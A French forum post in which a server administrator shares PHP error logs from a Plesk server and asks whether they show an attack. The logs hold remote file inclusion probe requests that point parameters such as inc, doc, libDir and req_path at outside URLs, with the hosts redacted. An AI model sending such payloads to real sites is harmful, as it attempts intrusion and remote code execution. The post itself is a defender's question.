Bonjour à tous,
Ce matin en regardant les logs d'erreur de mon serveur j'ai remarqué ces lignes :

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[19-May-2011 03:55:41] PHP Warning:  parse_url(/index.php?req_path=http://xxxxxx./) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:46] PHP Warning:  parse_url(/index.php?req_path=http://xxxxxx./) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:50] PHP Warning:  parse_url(/index.php?inc=http://xxxxxx./foo) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:50] PHP Warning:  parse_url(/index.php?inc=http://xxxxxx./foo) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:24] PHP Warning:  parse_url(/index.php?doc=http://xxxxxx./foo.php) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:24] PHP Warning:  parse_url(/index.php?doc=http://xxxxxx./foo.php) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(/index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(//index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(/index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(//index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:39] PHP Warning:  parse_url(/index.php?libDir=http://xxxxxxxx) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:40] PHP Warning:  parse_url(/index.php?libDir=http://xxxxxxxx) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:09] PHP Warning:  parse_url(/index.php?function=custom&amp;custom=http://xxxxxxxx/1) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:10] PHP Warning:  parse_url(/index.php?function=custom&amp;custom=http://xxxxxxxx/1) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:19] PHP Warning:  parse_url(/index.php?do=ext&amp;page=http://xxxxxxxx/file) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:19] PHP Warning:  parse_url(/index.php?do=ext&amp;page=http://xxxxxxxx/file) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:59] PHP Warning:  File Upload Mime headers garbled in Unknown on line 0
[19-May-2011 03:58:59] PHP Warning:  File Upload Mime headers garbled in Unknown on line 0
Cela ressemble bien a une tentative d'attaque. Avez-vous une idée de ce qu'il a essayé de faire ? Y'a t-il un risque ?

Merci pour vos conseils